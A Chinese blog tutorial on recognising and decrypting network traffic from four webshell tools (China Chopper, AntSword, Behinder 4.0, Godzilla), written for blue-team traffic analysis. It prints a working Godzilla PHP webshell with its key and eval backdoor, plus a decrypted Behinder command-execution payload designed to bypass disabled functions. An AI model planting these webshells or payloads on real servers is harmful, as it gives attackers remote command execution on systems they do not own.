常见四种Webshell流量特征及解密实战

常见四种Webshell流量特征及解密实战

0-常用加解密平台:

URL解码平台:http://www.jsons.cn/urlencode/

Base64解码平台:http://www.jsons.cn/base64/

本篇文章涉及到的数据包下载链接:流量包及解密文件

1-中国菜刀流量特征及解密

通过关注liuliang1的数据包,可以看到返回报文是明文。发送包中,cmd后面有加密密文,并且存在URL编码。原始数据包信息
第一步首先进将红框部分内容进行URL解码,得到解密前的Base64代码
URL解码文件
第二步将上述蓝框部分内容进行Base64解码,得到解密后的Base64代码Base64解码
黄框部分为攻击者所执行的代码,攻击代码为:“nestat -an |find 'ESTABLISHED”
中国菜刀总体解密流程较为简单,先URL解码,然后Base64解密即可

2-中国蚁剑流量特征及解密

通过观察liuliang2的数据包,可以看到在默认的蚁剑链接请求包中,User-Agent为antSword/v2.1.
并且返回包文以明文形式展示。具体解密流程如下:
在这里插入图片描述
第一步先将蓝框部分代码进行URL解码,得到如下内容:
在这里插入图片描述
其中蓝框部分内容为蚁剑基础功能函数代码,而具体执行代码以Base64形式进行加密,具体如图中阴影部分代码。
将具体Base64加密后的具体执行代码进行Base64解密,得到实际操作的功能函数
在这里插入图片描述
由蓝框可知,攻击代码为:“ipconfig”
若看到Webshll存在display_error且未编码,则大概率是蚁剑,并且蚁剑的UA请求头中有antsword

3-冰蝎4.0流量特征及解密

阅读本段前,需要阅读前置文章如何进行Web安全流量分析。
在这里插入图片描述
首先可以看到无论发送包还是请求包,流量都是加密的,并且存在明显的冰蝎4.0特征:

  • Accept: * / *;q=0.01
  • Connection:keep-alive(冰蝎默认长链接)

然后从黑客上传的shell1.php中,可以看到key。
首先拿着shell1.php中的key,带入到冰蝎中替换(如果是黑客使用的是默认key,则无需替换)
在这里插入图片描述
然后根据流量包可知发送和接受报文中都传送的是加密报文,所以在设置好传输协议和解密报文后,直接进行解密,得到Base64加密后的代码:
在这里插入图片描述

            
@error_reporting(0);function getSafeStr($str){    $s1 = iconv('utf-8','gbk//IGNORE',$str);    $s0 = iconv('gbk','utf-8//IGNORE',$s1);    if($s0 == $str){        return $s0;    }else{        return iconv('gbk','utf-8//IGNORE',$str);    }}function main($cmd,$path){    @set_time_limit(0);    @ignore_user_abort(1);    @ini_set('max_execution_time', 0);    $result = array();    $PadtJn = @ini_get('disable_functions');    if (! empty($PadtJn)) {        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);        $PadtJn = explode(',', $PadtJn);        $PadtJn = array_map('trim', $PadtJn);    } else {        $PadtJn = array();    }    $c = $cmd;    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {        $c = $c . " 2>&1\n";    }    $JueQDBH = 'is_callable';    $Bvce = 'in_array';    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {        ob_start();        system($c);        $kWJW = ob_get_contents();        ob_end_clean();    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {        $handle = proc_open($c, array(            array(                'pipe',                'r'            ),            array(                'pipe',                'w'            ),            array(                'pipe',                'w'            )        ), $pipes);        $kWJW = NULL;        while (! feof($pipes[1])) {            $kWJW .= fread($pipes[1], 1024);        }        @proc_close($handle);    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {        ob_start();        passthru($c);        $kWJW = ob_get_contents();        ob_end_clean();    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {        $kWJW = shell_exec($c);    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {        $kWJW = array();        exec($c, $kWJW);        $kWJW = join(chr(10), $kWJW) . chr(10);    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {        $fp = popen($c, 'r');        $kWJW = NULL;        if (is_resource($fp)) {            while (! feof($fp)) {                $kWJW .= fread($fp, 1024);            }        }        @pclose($fp);    } else {        $kWJW = 0;        $result["status"] = base64_encode("fail");        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");        $key = $_SESSION['k'];        echo encrypt(json_encode($result));        return;            }    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode(getSafeStr($kWJW));    echo encrypt(json_encode($result));}function Encrypt($data){    $key="e45e329feb5d925b"; for($i=0;$i<strlen($data);$i++) {    $data[$i] = $data[$i]^$key[$i+1&15];     }    $bs="base64_"."encode";$after=$bs($data."");    return $after;}$cmd="Y2QgL2QgIkU6XFBIUFNUVURZXFBIUFR1dG9yaWFsXFdXV1xkdndhXGhhY2thYmxlXHVwbG9hZHNcIiZ3aG9hbWk=";$cmd=base64_decode($cmd);$path="RTovUEhQU1RVRFkvUEhQVHV0b3JpYWwvV1dXL2R2d2EvaGFja2FibGUvdXBsb2Fkcy8=";$path=base64_decode($path);main($cmd,$path);x鷼l瞧Q炞�

将解密后代码的Base64代码部分进行Base64解密,即可获得真正的攻击代码:
在这里插入图片描述
可以看到黑客执行了"whoami"的攻击命令。

4-Godzilla流量特征及加密

在这里插入图片描述
首先看流量包,“pass=”是一个很明显的哥斯拉特征。

首先我们从黑客的Shell8.php中找到key。$key=‘3c6e0b8a9c15224a’;

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

然后将Key带入到解密代码中,继而将先pass后内容进行URL解码然后再当作payload传入到解密代码中

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$key='3c6e0b8a9c15224a';
$pass='你的payload';
echo"<br/><br/>------payload------<br/><br/>";
echo encode(base64_decode($pass),$key);
echo"<br/><br/>------payload(GZIP)------<br/><br/>";
echo gzdecode(encode(base64_decode($pass),$key));

最后访问运行的PHP文件,即可得到黑客的执行代码:
在这里插入图片描述
可以看到黑客执行攻击代码为"ipconfig"

5-总结

以上是基本的四种常见Webshell管理工具的解密流程,本篇仅以PHP文件解密进行教程,抛砖引玉,希望一方面让大家熟悉实际的流量解密,在护网面试中有话可说,另一方面也希望能够提升大家的网络安全技术站,我们始于此文,通过护网面试锤炼增加自己的技术,一起进步。

  • 2
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蓝学不会嵌入式!

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值